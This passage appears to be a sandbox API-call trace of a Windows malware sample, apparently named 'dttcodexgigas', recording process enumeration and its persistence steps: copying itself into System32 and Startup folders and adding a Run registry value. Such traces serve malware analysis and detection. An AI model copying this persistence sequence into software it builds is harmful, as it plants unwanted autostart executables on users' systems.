hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0190.061] lstrlenW (lpString="explorer.exe") returned 12 [0190.061] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0190.062] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0190.062] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0190.062] lstrlenW (lpString="SearchUI.exe") returned 12 [0190.062] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0190.062] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0190.062] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0190.063] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0190.063] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0190.063] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.063] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0190.064] lstrlenW (lpString="dllhost.exe") returned 11 [0190.064] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0190.064] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.064] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0 [0190.065] CloseHandle (hObject=0x240) returned 1 [0190.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677910 | out: hHeap=0x660000) returned 1 [0190.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6779e8 | out: hHeap=0x660000) returned 1 [0190.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6762d8 | out: hHeap=0x660000) returned 1 [0190.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6764b8 | out: hHeap=0x660000) returned 1 [0190.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676b18 | out: hHeap=0x660000) returned 1 [0190.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a2d38 | out: hHeap=0x660000) returned 1 [0190.119] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676398 | out: hHeap=0x660000) returned 1 [0190.119] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676358 | out: hHeap=0x660000) returned 1 [0190.119] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69ddf0 | out: hHeap=0x660000) returned 1 [0190.119] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd78 | out: hHeap=0x660000) returned 1 [0190.119] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676298 | out: hHeap=0x660000) returned 1 [0190.119] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69deb8 | out: hHeap=0x660000) returned 1 [0190.119] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6a4d28 [0190.119] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6b4d30 [0190.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2d08 [0190.120] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2d08, Size=0x20) returned 0x69de40 [0190.120] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de40, Size=0x40) returned 0x677910 [0190.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2d80 [0190.120] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2d80, Size=0x20) returned 0x69de40 [0190.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2de0 [0190.120] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2de0, Size=0x20) returned 0x69dfa8 [0190.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2ca8 [0190.120] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2ca8, Size=0x20) returned 0x69dd50 [0190.120] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dd50, Size=0x40) returned 0x677958 [0190.120] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6b4d30, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x77 [0190.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c4d38 [0190.121] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d4d40 [0190.122] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2eb8 [0190.122] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2eb8, Size=0x20) returned 0x69dd50 [0190.122] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dd50, Size=0x40) returned 0x6777a8 [0190.122] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6777a8, Size=0x80) returned 0x6a3568 [0190.122] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3568, Size=0x100) returned 0x6a3568 [0190.122] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.122] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3568 | out: hHeap=0x660000) returned 1 [0190.122] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x6c4d38, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x4f [0190.122] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d4d40 | out: hHeap=0x660000) returned 1 [0190.123] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c4d38 | out: hHeap=0x660000) returned 1 [0190.123] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x239e020 [0190.126] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2d08 [0190.126] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2d08, Size=0x20) returned 0x69de90 [0190.126] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2f18 [0190.126] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2f18, Size=0x20) returned 0x69ddf0 [0190.126] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.126] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.126] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0190.126] lstrlenW (lpString="kernel32.dll") returned 12 [0190.126] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69de90 | out: hHeap=0x660000) returned 1 [0190.126] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.126] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69ddf0 | out: hHeap=0x660000) returned 1 [0190.126] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0190.127] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0190.128] ReadFile (in: hFile=0x240, lpBuffer=0x239e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x239e020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0190.141] WriteFile (in: hFile=0x244, lpBuffer=0x239e020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x239e020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0190.145] ReadFile (in: hFile=0x240, lpBuffer=0x239e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x239e020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0190.145] CloseHandle (hObject=0x244) returned 1 [0190.145] CloseHandle (hObject=0x240) returned 1 [0190.145] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2d08 [0190.145] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2d08, Size=0x20) returned 0x69dfd0 [0190.145] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2cc0 [0190.145] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2cc0, Size=0x20) returned 0x69dd50 [0190.145] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.145] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.145] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0190.145] lstrlenW (lpString="kernel32.dll") returned 12 [0190.145] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd50 | out: hHeap=0x660000) returned 1 [0190.145] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.145] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dfd0 | out: hHeap=0x660000) returned 1 [0190.146] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x239e020 | out: hHeap=0x660000) returned 1 [0190.150] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2ea0 [0190.150] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2ea0, Size=0x20) returned 0x69de90 [0190.150] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de90, Size=0x40) returned 0x6779e8 [0190.150] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6779e8, Size=0x80) returned 0x6c5338 [0190.151] lstrlenW (lpString="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 78 [0190.151] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0190.151] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x5c) returned 0x6a39e8 [0190.151] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0190.151] RegSetValueExW (in: hKey=0x240, lpValueName="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", cbData=0x9c | out: lpData="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x0 [0190.152] RegCloseKey (hKey=0x240) returned 0x0 [0190.152] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a39e8 | out: hHeap=0x660000) returned 1 [0190.152] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0190.152] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5338 | out: hHeap=0x660000) returned 1 [0190.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c5d40 [0190.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d5d48 [0190.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2e10 [0190.152] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2e10, Size=0x20) returned 0x69ddc8 [0190.152] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69ddc8, Size=0x40) returned 0x677c70 [0190.152] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677c70, Size=0x80) returned 0x6c5118 [0190.153] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5118, Size=0x100) returned 0x6a3568 [0190.153] lstrlenW (lpString="") returned 0 [0190.153] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.153] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c) returned 0x6a3670 [0190.153] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0190.153] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6d5d48, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x6d5d48*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0190.153] RegCloseKey (hKey=0x240) returned 0x0 [0190.153] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3670 | out: hHeap=0x660000) returned 1 [0190.153] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.153] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c) returned 0x6a3670 [0190.153] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0190.154] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6d5d48, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0190.154] RegCloseKey (hKey=0x244) returned 0x0 [0190.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3670 | out: hHeap=0x660000) returned 1 [0190.154] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0190.154] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3568 | out: hHeap=0x660000) returned 1 [0190.154] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x6c5d40, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x89 [0190.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5d48 | out: hHeap=0x660000) returned 1 [0190.155] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5d40 | out: hHeap=0x660000) returned 1 [0190.155] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x2399020 [0190.158] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2ea0 [0190.158] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2ea0, Size=0x20) returned 0x69dfd0 [0190.158] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2eb8 [0190.158] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2eb8, Size=0x20) returned 0x69dd50 [0190.158] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.158] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.158] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0190.158] lstrlenW (lpString="kernel32.dll") returned 12 [0190.158] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dfd0 | out: hHeap=0x660000) returned 1 [0190.158] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.158] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd50 | out: hHeap=0x660000) returned 1 [0190.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0190.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0190.287] ReadFile (in: hFile=0x244, lpBuffer=0x2399020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2399020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0190.300] WriteFile (in: hFile=0x248, lpBuffer=0x2399020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2399020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0190.303] ReadFile (in: hFile=0x244, lpBuffer=0x2399020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2399020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0190.303] CloseHandle (hObject=0x248) returned 1 [0190.454] CloseHandle (hObject=0x244) returned 1 [0190.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2db0 [0190.454] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2db0, Size=0x20) returned 0x69dd78 [0190.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2df8 [0190.454] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2df8, Size=0x20) returned 0x69dd50 [0190.454] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.454] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.455] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0190.455] lstrlenW (lpString="kernel32.dll") returned 12 [0190.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd50 | out: hHeap=0x660000) returned 1 [0190.455] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd78 | out: hHeap=0x660000) returned 1 [0190.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2399020 | out: hHeap=0x660000) returned 1 [0190.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c5d40 [0190.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d5d48 [0190.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2e10 [0190.460] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2e10, Size=0x20) returned 0x69deb8 [0190.460] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69deb8, Size=0x40) returned 0x677718 [0190.460] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677718, Size=0x80) returned 0x6c4de8 [0190.460] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c4de8, Size=0x100) returned 0x6a3568 [0190.460] lstrlenW (lpString="") returned 0 [0190.460] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c) returned 0x6a3670 [0190.461] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0190.461] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6d5d48, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0190.461] RegCloseKey (hKey=0x244) returned 0x0 [0190.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3670 | out: hHeap=0x660000) returned 1 [0190.461] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0190.461] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3568 | out: hHeap=0x660000) returned 1 [0190.461] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x6c5d40, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x78 [0190.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5d48 | out: hHeap=0x660000) returned 1 [0190.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5d40 | out: hHeap=0x660000) returned 1 [0190.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x239d020 [0190.464] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2ea0 [0190.464] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2ea0, Size=0x20) returned 0x69dfd0 [0190.464] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2d08 [0190.464] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2d08, Size=0x20) returned 0x69dd50 [0190.465] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.465] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.465] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0190.465] lstrlenW (lpString="kernel32.dll") returned 12 [0190.465] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dfd0 | out: hHeap=0x660000) returned 1 [0190.465] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.465] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd50 | out: hHeap=0x660000) returned 1 [0190.465] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0190.465] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0190.465] CloseHandle (hObject=0x244) returned 1 [0190.465] 